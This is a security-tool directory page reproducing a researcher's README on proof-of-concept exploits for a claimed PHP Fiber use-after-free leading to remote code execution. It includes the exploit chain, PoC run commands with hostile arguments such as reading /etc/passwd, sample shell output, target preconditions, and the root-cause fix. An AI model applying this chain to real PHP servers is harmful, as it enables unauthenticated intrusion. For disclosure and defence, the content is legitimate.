Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-2031226 — Proof-of-concept exploits for a PHP Fiber callable use-after-free (CVE-2026-2031226) enabling heap reclaim, type confusion, info leak, and unauthenticated RCE. | Kitploit
Tools/GitHubGitHub/syrex1013/cve-2026-2031226
Memory ForensicsVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & ResearchPayload DevelopmentBinary Exploitation
GitHubsyrex1013/cve-2026-2031226

CVE-2026-2031226

Proof-of-concept exploits for a PHP Fiber callable use-after-free (CVE-2026-2031226) enabling heap reclaim, type confusion, info leak, and unauthenticated RCE.

28 days agoNot yet reviewed
Share
View Repository

CVE-2026-2031226 — PHP Fiber Callable Use-After-Free → Remote Code Execution

Severity: Critical (CVSS 9.8 — unauthenticated RCE in web context) Affected: PHP 8.1.x–8.4.27, PHP 8.5.x–8.5.12 Fixed in: PHP 8.4.28-dev, PHP 8.5.13-dev Component: Zend/zend_fibers.c — zend_fiber_addref_callable() (missing) Type: Use-After-Free → Heap reclaim → Property aliasing → RCE

Summary

When a PHP Fiber is created with a class-method callable [ClassName::class, 'method'] inside an instance method, PHP resolves implicit $this into fci.object without incrementing its reference count (GC_ADDREF). If the object is freed before Fiber::start() is called, the freed memory slot can be reclaimed by an attacker-controlled allocation of the same size, enabling cross-class property aliasing and remote code execution.

Full Exploit Chain (confirmed on PHP 8.5.5, exit 0)

1. Fiber UAF:     new Fiber([SafeProcessor::class, 'process'])
                  → fci.object = $processor, NO GC_ADDREF (the bug)

2. Free:          unset($processor)
                  → efree(56-byte slot), fci.object dangling

3. Heap reclaim:  new UserRequest($argv[1])
                  → LIFO free list, UserRequest lands in freed slot
                  → UserRequest::$command = attacker-controlled string

4. UAF trigger:   $fiber->start()
                  → PHP reads fci.object (UserRequest's slot)
                  → name-lookup "command" in UserRequest's ce
                  → IS_STRING = attacker input
                  → system($this->command) → RCE

Proof of Concept

# Original crash (SIGSEGV, exit 139)
php poc_fiber_uaf.php

# Type confusion: IS_LONG read as IS_STRING
php poc_fiber_type_confusion.php

# 64-bit value injection / info leak primitive  
php poc_fiber_infoleak.php

# Full RCE — attacker-controlled input via argv[1]
php poc_fiber_rce.php 'id && whoami'
php poc_fiber_rce.php 'cat /etc/passwd'

RCE Output

$ php poc_fiber_rce.php 'id && uname -a'
[*] Attacker input: 'id && uname -a'
[*] SafeProcessor freed, UserRequest at same address
[*] Starting fiber...
---
[victim expects] command = 'echo safe_output_only'
[actual shell output]:
uid=501(adrian) gid=20(staff) groups=20(staff),80(admin),...
Darwin ... arm64
---
[*] RCE complete (exit 0)

Vulnerability Requirements (what target must have)

For RCE to be exploitable, target application must satisfy all:

  1. PHP version: 8.1.x–8.4.27 or 8.5.x–8.5.12
  2. Victim class with method calling system()/exec()/shell_exec() using $this->prop
  3. Fiber created via [VictimClass::class, 'method'] inside instance method
  4. Object freed before $fiber->start() (unset, scope exit, GC)
  5. Attacker class allocated in the gap:
    • sizeof(AttackerClass) == sizeof(VictimClass) (same ZendMM bin: 40 + n_props * 16 bytes)
    • Same property name as victim's dangerous property
    • Property value = user-controlled input (HTTP GET/POST, CLI args, deserialized)
  6. $fiber->start() called after attacker class allocated

In web/FPM context: $_GET['cmd'] → new AttackerClass($_GET['cmd']) → reclaims slot → system($_GET['cmd']) — unauthenticated RCE.

Root Cause

Zend/zend_fibers.c — missing GC_ADDREF in callable resolution:

// BUG: fci.object stored without refcount increment
// Fix (PHP 8.4.28-dev / 8.5.13-dev):
static void zend_fiber_addref_callable(zend_fcall_info *fci) {
    if (fci->object) {
        GC_ADDREF(fci->object);  // added by fix
    }
}

Fix

PHP 8.4.28-dev and 8.5.13-dev add zend_fiber_addref_callable() with GC_ADDREF(fiber->fci.object) and a paired OBJ_RELEASE in zend_fiber_release_callable().

Files

FileDescription
poc_fiber_uaf.phpOriginal crash PoC (exit 139, SIGSEGV)
poc_fiber_type_confusion.phpType confusion: IS_LONG where IS_STRING expected
poc_fiber_infoleak.php64-bit controlled value injection / info leak primitive
poc_fiber_rce.phpFull RCE with attacker-controlled external input
disclosure_fiber_uaf.txtFull disclosure sent to [email protected] and [email protected]

Timeline

  • 2026-10-21: Discovered, SIGSEGV confirmed on PHP 8.5.5
  • 2026-10-21: Disclosed to [email protected]
  • 2026-10-21: CVE-2026-2031226 submitted to MITRE CNA-of-last-resort
  • 2026-10-21: CVE-2026-2031226 confirmed at https://www.cve.org/CVERecord?id=CVE-2026-2031226
  • 2026-10-21: Escalated to full RCE with external-input PoC; MITRE and PHP team notified

Researcher

Adrian / [email protected] Building on prior PHP security research: CVE-2026-109618, CVE-2026-109619

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →